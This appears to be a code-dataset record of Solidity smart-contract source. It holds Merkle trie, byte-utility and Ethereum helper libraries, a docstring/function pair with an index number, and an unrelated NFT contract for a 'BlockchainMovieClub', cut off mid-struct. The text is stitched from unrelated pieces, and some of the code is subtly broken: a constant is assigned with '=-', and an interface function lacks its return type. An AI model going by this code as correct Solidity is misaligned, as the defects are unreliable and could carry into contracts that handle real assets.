return Lib_BytesUtils.toBytes32(nodeID);
}
/**
* @notice Gets the path for a leaf or extension node.
* @param _node Node to get a path for.
* @return _path Node path, converted to an array of nibbles.
*/
function _getNodePath(
TrieNode memory _node
)
private
pure
returns (
bytes memory _path
)
{
return Lib_BytesUtils.toNibbles(Lib_RLPReader.readBytes(_node.decoded[0]));
}
/**
* @notice Gets the key for a leaf or extension node. Keys are essentially
* just paths without any prefix.
* @param _node Node to get a key for.
* @return _key Node key, converted to an array of nibbles.
*/
function _getNodeKey(
TrieNode memory _node
)
private
pure
returns (
bytes memory _key
)
{
return _removeHexPrefix(_getNodePath(_node));
}
/**
* @notice Gets the path for a node.
* @param _node Node to get a value for.
* @return _value Node value, as hex bytes.
*/
function _getNodeValue(
TrieNode memory _node
)
private
pure
returns (
bytes memory _value
)
{
return Lib_RLPReader.readBytes(_node.decoded[_node.decoded.length - 1]);
}
/**
* @notice Computes the node hash for an encoded node. Nodes < 32 bytes
* are not hashed, all others are keccak256 hashed.
* @param _encoded Encoded node to hash.
* @return _hash Hash of the encoded node. Simply the input if < 32 bytes.
*/
function _getNodeHash(
bytes memory _encoded
)
private
pure
returns (
bytes memory _hash
)
{
if (_encoded.length < 32) {
return _encoded;
} else {
return abi.encodePacked(keccak256(_encoded));
}
}
/**
* @notice Determines the type for a given node.
* @param _node Node to determine a type for.
* @return _type Type of the node; BranchNode/ExtensionNode/LeafNode.
*/
function _getNodeType(
TrieNode memory _node
)
private
pure
returns (
NodeType _type
)
{
if (_node.decoded.length == BRANCH_NODE_LENGTH) {
return NodeType.BranchNode;
} else if (_node.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) {
bytes memory path = _getNodePath(_node);
uint8 prefix = uint8(path[0]);
if (prefix == PREFIX_LEAF_EVEN || prefix == PREFIX_LEAF_ODD) {
return NodeType.LeafNode;
} else if (prefix == PREFIX_EXTENSION_EVEN || prefix == PREFIX_EXTENSION_ODD) {
return NodeType.ExtensionNode;
}
}
revert("Invalid node type");
}
/**
* @notice Utility; determines the number of nibbles shared between two
* nibble arrays.
* @param _a First nibble array.
* @param _b Second nibble array.
* @return _shared Number of shared nibbles.
*/
function _getSharedNibbleLength(
bytes memory _a,
bytes memory _b
)
private
pure
returns (
uint256 _shared
)
{
uint256 i = 0;
while (_a.length > i && _b.length > i && _a[i] == _b[i]) {
i++;
}
return i;
}
/**
* @notice Utility; converts an RLP-encoded node into our nice struct.
* @param _raw RLP-encoded node to convert.
* @return _node Node as a TrieNode struct.
*/
function _makeNode(
bytes[] memory _raw
)
private
pure
returns (
TrieNode memory _node
)
{
bytes memory encoded = Lib_RLPWriter.writeList(_raw);
return TrieNode({
encoded: encoded,
decoded: Lib_RLPReader.readList(encoded)
});
}
/**
* @notice Utility; converts an RLP-decoded node into our nice struct.
* @param _items RLP-decoded node to convert.
* @return _node Node as a TrieNode struct.
*/
function _makeNode(
Lib_RLPReader.RLPItem[] memory _items
)
private
pure
returns (
TrieNode memory _node
)
{
bytes[] memory raw = new bytes[](_items.length);
for (uint256 i = 0; i < _items.length; i++) {
raw[i] = Lib_RLPReader.readRawBytes(_items[i]);
}
return _makeNode(raw);
}
/**
* @notice Creates a new extension node.
* @param _key Key for the extension node, unprefixed.
* @param _value Value for the extension node.
* @return _node New extension node with the given k/v pair.
*/
function _makeExtensionNode(
bytes memory _key,
bytes memory _value
)
private
pure
returns (
TrieNode memory _node
)
{
bytes[] memory raw = new bytes[](2);
bytes memory key = _addHexPrefix(_key, false);
raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key));
raw[1] = Lib_RLPWriter.writeBytes(_value);
return _makeNode(raw);
}
/**
* Creates a new extension node with the same key but a different value.
* @param _node Extension node to copy and modify.
* @param _value New value for the extension node.
* @return New node with the same key and different value.
*/
function _editExtensionNodeValue(
TrieNode memory _node,
bytes memory _value
)
private
pure
returns (
TrieNode memory
)
{
bytes[] memory raw = new bytes[](2);
bytes memory key = _addHexPrefix(_getNodeKey(_node), false);
raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key));
if (_value.length < 32) {
raw[1] = _value;
} else {
raw[1] = Lib_RLPWriter.writeBytes(_value);
}
return _makeNode(raw);
}
/**
* @notice Creates a new leaf node.
* @dev This function is essentially identical to `_makeExtensionNode`.
* Although we could route both to a single method with a flag, it's
* more gas efficient to keep them separate and duplicate the logic.
* @param _key Key for the leaf node, unprefixed.
* @param _value Value for the leaf node.
* @return _node New leaf node with the given k/v pair.
*/
function _makeLeafNode(
bytes memory _key,
bytes memory _value
)
private
pure
returns (
TrieNode memory _node
)
{
bytes[] memory raw = new bytes[](2);
bytes memory key = _addHexPrefix(_key, true);
raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key));
raw[1] = Lib_RLPWriter.writeBytes(_value);
return _makeNode(raw);
}
/**
* @notice Creates an empty branch node.
* @return _node Empty branch node as a TrieNode struct.
*/
function _makeEmptyBranchNode()
private
pure
returns (
TrieNode memory _node
)
{
bytes[] memory raw = new bytes[](BRANCH_NODE_LENGTH);
for (uint256 i = 0; i < raw.length; i++) {
raw[i] = RLP_NULL_BYTES;
}
return _makeNode(raw);
}
/**
* @notice Modifies the value slot for a given branch.
* @param _branch Branch node to modify.
* @param _value Value to insert into the branch.
* @return _updatedNode Modified branch node.
*/
function _editBranchValue(
TrieNode memory _branch,
bytes memory _value
)
private
pure
returns (
TrieNode memory _updatedNode
)
{
bytes memory encoded = Lib_RLPWriter.writeBytes(_value);
_branch.decoded[_branch.decoded.length - 1] = Lib_RLPReader.toRLPItem(encoded);
return _makeNode(_branch.decoded);
}
/**
* @notice Modifies a slot at an index for a given branch.
* @param _branch Branch node to modify.
* @param _index Slot index to modify.
* @param _value Value to insert into the slot.
* @return _updatedNode Modified branch node.
*/
function _editBranchIndex(
TrieNode memory _branch,
uint8 _index,
bytes memory _value
)
private
pure
returns (
TrieNode memory _updatedNode
)
{
bytes memory encoded = _value.length < 32 ? _value : Lib_RLPWriter.writeBytes(_value);
_branch.decoded[_index] = Lib_RLPReader.toRLPItem(encoded);
return _makeNode(_branch.decoded);
}
/**
* @notice Utility; adds a prefix to a key.
* @param _key Key to prefix.
* @param _isLeaf Whether or not the key belongs to a leaf.
* @return _prefixedKey Prefixed key.
*/
function _addHexPrefix(
bytes memory _key,
bool _isLeaf
)
private
pure
returns (
bytes memory _prefixedKey
)
{
uint8 prefix = _isLeaf ? uint8(0x02) : uint8(0x00);
uint8 offset = uint8(_key.length % 2);
bytes memory prefixed = new bytes(2 - offset);
prefixed[0] = bytes1(prefix + offset);
return abi.encodePacked(prefixed, _key);
}
/**
* @notice Utility; removes a prefix from a path.
* @param _path Path to remove the prefix from.
* @return _unprefixedKey Unprefixed key.
*/
function _removeHexPrefix(
bytes memory _path
)
private
pure
returns (
bytes memory _unprefixedKey
)
{
if (uint8(_path[0]) % 2 == 0) {
return Lib_BytesUtils.slice(_path, 2);
} else {
return Lib_BytesUtils.slice(_path, 1);
}
}
/**
* @notice Utility; combines two node arrays. Array lengths are required
* because the actual lengths may be longer than the filled lengths.
* Array resizing is extremely costly and should be avoided.
* @param _a First array to join.
* @param _aLength Length of the first array.
* @param _b Second array to join.
* @param _bLength Length of the second array.
* @return _joined Combined node array.
*/
function _joinNodeArrays(
TrieNode[] memory _a,
uint256 _aLength,
TrieNode[] memory _b,
uint256 _bLength
)
private
pure
returns (
TrieNode[] memory _joined
)
{
TrieNode[] memory ret = new TrieNode[](_aLength + _bLength);
// Copy elements from the first array.
for (uint256 i = 0; i < _aLength; i++) {
ret[i] = _a[i];
}
// Copy elements from the second array.
for (uint256 i = 0; i < _bLength; i++) {
ret[i + _aLength] = _b[i];
}
return ret;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_MerkleTrie } from "./Lib_MerkleTrie.sol";
/**
* @title Lib_SecureMerkleTrie
*/
library Lib_SecureMerkleTrie {
/**********************
* Internal Functions *
**********************/
/**
* @notice Verifies a proof that a given key/value pair is present in the
* Merkle trie.
* @param _key Key of the node to search for, as a hex string.
* @param _value Value of the node to search for, as a hex string.
* @param _proof Merkle trie inclusion proof for the desired node. Unlike
* traditional Merkle trees, this proof is executed top-down and consists
* of a list of RLP-encoded nodes that make a path down to the target node.
* @param _root Known root of the Merkle trie. Used to verify that the
* included proof is correctly constructed.
* @return _verified `true` if the k/v pair exists in the trie, `false` otherwise.
*/
function verifyInclusionProof(
bytes memory _key,
bytes memory _value,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bool _verified
)
{
bytes memory key = _getSecureKey(_key);
return Lib_MerkleTrie.verifyInclusionProof(key, _value, _proof, _root);
}
/**
* @notice Updates a Merkle trie and returns a new root hash.
* @param _key Key of the node to update, as a hex string.
* @param _value Value of the node to update, as a hex string.
* @param _proof Merkle trie inclusion proof for the node *nearest* the
* target node. If the key exists, we can simply update the value.
* Otherwise, we need to modify the trie to handle the new k/v pair.
* @param _root Known root of the Merkle trie. Used to verify that the
* included proof is correctly constructed.
* @return _updatedRoot Root hash of the newly constructed trie.
*/
function update(
bytes memory _key,
bytes memory _value,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bytes32 _updatedRoot
)
{
bytes memory key = _getSecureKey(_key);
return Lib_MerkleTrie.update(key, _value, _proof, _root);
}
/**
* @notice Retrieves the value associated with a given key.
* @param _key Key to search for, as hex bytes.
* @param _proof Merkle trie inclusion proof for the key.
* @param _root Known root of the Merkle trie.
* @return _exists Whether or not the key exists.
* @return _value Value of the key if it exists.
*/
function get(
bytes memory _key,
bytes memory _proof,
bytes32 _root
)
internal
pure
returns (
bool _exists,
bytes memory _value
)
{
bytes memory key = _getSecureKey(_key);
return Lib_MerkleTrie.get(key, _proof, _root);
}
/**
* Computes the root hash for a trie with a single node.
* @param _key Key for the single node.
* @param _value Value for the single node.
* @return _updatedRoot Hash of the trie.
*/
function getSingleNodeRootHash(
bytes memory _key,
bytes memory _value
)
internal
pure
returns (
bytes32 _updatedRoot
)
{
bytes memory key = _getSecureKey(_key);
return Lib_MerkleTrie.getSingleNodeRootHash(key, _value);
}
/*********************
* Private Functions *
*********************/
/**
* Computes the secure counterpart to a key.
* @param _key Key to get a secure key from.
* @return _secureKey Secure version of the key.
*/
function _getSecureKey(
bytes memory _key
)
private
pure
returns (
bytes memory _secureKey
)
{
return abi.encodePacked(keccak256(_key));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/**
* @title Lib_Byte32Utils
*/
library Lib_Bytes32Utils {
/**********************
* Internal Functions *
**********************/
/**
* Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true."
* @param _in Input bytes32 value.
* @return Bytes32 as a boolean.
*/
function toBool(
bytes32 _in
)
internal
pure
returns (
bool
)
{
return _in != 0;
}
/**
* Converts a boolean to a bytes32 value.
* @param _in Input boolean value.
* @return Boolean as a bytes32.
*/
function fromBool(
bool _in
)
internal
pure
returns (
bytes32
)
{
return bytes32(uint256(_in ? 1 : 0));
}
/**
* Converts a bytes32 value to an address. Takes the *last* 20 bytes.
* @param _in Input bytes32 value.
* @return Bytes32 as an address.
*/
function toAddress(
bytes32 _in
)
internal
pure
returns (
address
)
{
return address(uint160(uint256(_in)));
}
/**
* Converts an address to a bytes32.
* @param _in Input address value.
* @return Address as a bytes32.
*/
function fromAddress(
address _in
)
internal
pure
returns (
bytes32
)
{
return bytes32(uint256(_in));
}
/**
* Removes the leading zeros from a bytes32 value and returns a new (smaller) bytes value.
* @param _in Input bytes32 value.
* @return Bytes32 without any leading zeros.
*/
function removeLeadingZeros(
bytes32 _in
)
internal
pure
returns (
bytes memory
)
{
bytes memory out;
assembly {
// Figure out how many leading zero bytes to remove.
let shift := 0
for { let i := 0 } and(lt(i, 32), eq(byte(i, _in), 0)) { i := add(i, 1) } {
shift := add(shift, 1)
}
// Reserve some space for our output and fix the free memory pointer.
out := mload(0x40)
mstore(0x40, add(out, 0x40))
// Shift the value and store it into the output bytes.
mstore(add(out, 0x20), shl(mul(shift, 8), _in))
// Store the new size (with leading zero bytes removed) in the output byte size.
mstore(out, sub(32, shift))
}
return out;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/**
* @title Lib_BytesUtils
*/
library Lib_BytesUtils {
/**********************
* Internal Functions *
**********************/
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
)
internal
pure
returns (
bytes memory
)
{
require(_length + 31 >= _length, "slice_overflow");
require(_start + _length >= _start, "slice_overflow");
require(_bytes.length >= _start + _length, "slice_outOfBounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function slice(
bytes memory _bytes,
uint256 _start
)
internal
pure
returns (
bytes memory
)
{
if (_start >= _bytes.length) {
return bytes('');
}
return slice(_bytes, _start, _bytes.length - _start);
}
function toBytes32PadLeft(
bytes memory _bytes
)
internal
pure
returns (
bytes32
)
{
bytes32 ret;
uint256 len = _bytes.length <= 32 ? _bytes.length : 32;
assembly {
ret := shr(mul(sub(32, len), 8), mload(add(_bytes, 32)))
}
return ret;
}
function toBytes32(
bytes memory _bytes
)
internal
pure
returns (
bytes32
)
{
if (_bytes.length < 32) {
bytes32 ret;
assembly {
ret := mload(add(_bytes, 32))
}
return ret;
}
return abi.decode(_bytes,(bytes32)); // will truncate if input length > 32 bytes
}
function toUint256(
bytes memory _bytes
)
internal
pure
returns (
uint256
)
{
return uint256(toBytes32(_bytes));
}
function toUint24(
bytes memory _bytes,
uint256 _start
)
internal
pure
returns (
uint24
)
{
require(_start + 3 >= _start, "toUint24_overflow");
require(_bytes.length >= _start + 3 , "toUint24_outOfBounds");
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint8(
bytes memory _bytes,
uint256 _start
)
internal
pure
returns (
uint8
)
{
require(_start + 1 >= _start, "toUint8_overflow");
require(_bytes.length >= _start + 1 , "toUint8_outOfBounds");
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toAddress(
bytes memory _bytes,
uint256 _start
)
internal
pure
returns (
address
)
{
require(_start + 20 >= _start, "toAddress_overflow");
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toNibbles(
bytes memory _bytes
)
internal
pure
returns (
bytes memory
)
{
bytes memory nibbles = new bytes(_bytes.length * 2);
for (uint256 i = 0; i < _bytes.length; i++) {
nibbles[i * 2] = _bytes[i] >> 4;
nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16);
}
return nibbles;
}
function fromNibbles(
bytes memory _bytes
)
internal
pure
returns (
bytes memory
)
{
bytes memory ret = new bytes(_bytes.length / 2);
for (uint256 i = 0; i < ret.length; i++) {
ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]);
}
return ret;
}
function equal(
bytes memory _bytes,
bytes memory _other
)
internal
pure
returns (
bool
)
{
return keccak256(_bytes) == keccak256(_other);
}
}
// SPDX-License-Identifier: MIT
// @unsupported: ovm
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol";
import { Lib_Bytes32Utils } from "./Lib_Bytes32Utils.sol";
/**
* @title Lib_EthUtils
*/
library Lib_EthUtils {
/**********************
* Internal Functions *
**********************/
/**
* Gets the code for a given address.
* @param _address Address to get code for.
* @param _offset Offset to start reading from.
* @param _length Number of bytes to read.
* @return Code read from the contract.
*/
function getCode(
address _address,
uint256 _offset,
uint256 _length
)
internal
view
returns (
bytes memory
)
{
bytes memory code;
assembly {
code := mload(0x40)
mstore(0x40, add(code, add(_length, 0x20)))
mstore(code, _length)
extcodecopy(_address, add(code, 0x20), _offset, _length)
}
return code;
}
/**
* Gets the full code for a given address.
* @param _address Address to get code for.
* @return Full code of the contract.
*/
function getCode(
address _address
)
internal
view
returns (
bytes memory
)
{
return getCode(
_address,
0,
getCodeSize(_address)
);
}
/**
* Gets the size of a contract's code in bytes.
* @param _address Address to get code size for.
* @return Size of the contract's code in bytes.
*/
function getCodeSize(
address _address
)
internal
view
returns (
uint256
)
{
uint256 codeSize;
assembly {
codeSize := extcodesize(_address)
}
return codeSize;
}
/**
* Gets the hash of a contract's code.
* @param _address Address to get a code hash for.
* @return Hash of the contract's code.
*/
function getCodeHash(
address _address
)
internal
view
returns (
bytes32
)
{
bytes32 codeHash;
assembly {
codeHash := extcodehash(_address)
}
return codeHash;
}
/**
* Creates a contract with some given initialization code.
* @param _code Contract initialization code.
* @return Address of the created contract.
*/
function createContract(
bytes memory _code
)
internal
returns (
address
)
{
address created;
assembly {
created := create(
0,
add(_code, 0x20),
mload(_code)
)
}
return created;
}
/**
* Computes the address that would be generated by CREATE.
* @param _creator Address creating the contract.
* @param _nonce Creator's nonce.
* @return Address to be generated by CREATE.
*/
function getAddressForCREATE(
address _creator,
uint256 _nonce
)
internal
pure
returns (
address
)
{
bytes[] memory encoded = new bytes[](2);
encoded[0] = Lib_RLPWriter.writeAddress(_creator);
encoded[1] = Lib_RLPWriter.writeUint(_nonce);
bytes memory encodedList = Lib_RLPWriter.writeList(encoded);
return Lib_Bytes32Utils.toAddress(keccak256(encodedList));
}
/**
* Computes the address that would be generated by CREATE2.
* @param _creator Address creating the contract.
* @param _bytecode Bytecode of the contract to be created.
* @param _salt 32 byte salt value mixed into the hash.
* @return Address to be generated by CREATE2.
*/
function getAddressForCREATE2(
address _creator,
bytes memory _bytecode,
bytes32 _salt
)
internal
pure
returns (
address
)
{
bytes32 hashedData = keccak256(abi.encodePacked(
byte(0xff),
_creator,
_salt,
keccak256(_bytecode)
));
return Lib_Bytes32Utils.toAddress(hashedData);
}
}
|
Gets the path for a leaf or extension node. _node Node to get a path for. return _path Node path, converted to an array of nibbles./
|
function _getNodePath(
TrieNode memory _node
)
private
pure
returns (
bytes memory _path
)
{
return Lib_BytesUtils.toNibbles(Lib_RLPReader.readBytes(_node.decoded[0]));
}
| 194,809 |
pragma solidity ^0.4.24;
/// @title ERC-173 Contract Ownership Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-173.md
/// Note: the ERC-165 identifier for this interface is 0x7f5828d0
interface ERC173 /* is ERC165 */ {
/// @dev This emits when ownership of a contract changes.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice Get the address of the owner
/// @return The address of the owner.
function owner() view external;
/// @notice Set the address of the new owner of the contract
/// @param _newOwner The address of the new owner of the contract
function transferOwnership(address _newOwner) external;
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external payable;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface ERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface ERC721Enumerable /* is ERC721 */ {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract bcmc is ERC165, ERC721 , ERC721Receiver /*ERC173, ERC721Metadata, ERC721Enumerable*/
{
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7;
/*
bytes4(keccak256('supportsInterface(bytes4)'));
*/
bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63;
/*
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
bytes4(keccak256('tokenByIndex(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f;
/*
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('tokenURI(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd;
/*
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('getApproved(uint256)')) ^
bytes4(keccak256('setApprovalForAll(address,bool)')) ^
bytes4(keccak256('isApprovedForAll(address,address)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'));
*/
bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79;
/*
bytes4(keccak256('exists(uint256)'));
*/
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant bcmc_name = "BlockchainMovieClub";
string public constant bcmc_symbol = "BCMC";
event NewMovie(address owner, uint256 movieId);
event MovieViewTokenRequested(address drmprovider, address buyer, string buyerkey, uint32 movieid, uint32 drmid);
event MovieViewTokenGranted(address player, uint32 movieId);
struct Movie {
string url;
string thumb;
string title;
string descript;
uint256 price;
uint32 duration;
uint32 drmtype;
uint32 rating;
uint32 viewers;
uint32 drmid;
address drmprovider;
}
struct ViewToken {
uint32 movieId;
uint32 cgms;
uint32 status;
string drm;
}
struct Advert {
string url;
uint budget;
uint duration;
uint viewers;
}
struct Player {
uint preference;
uint capabilities;
address crnt_movie;
uint indx_advert;
string publickey;
}
struct Sponsor {
bool open;
uint funding_start_time;
uint funding_end_time;
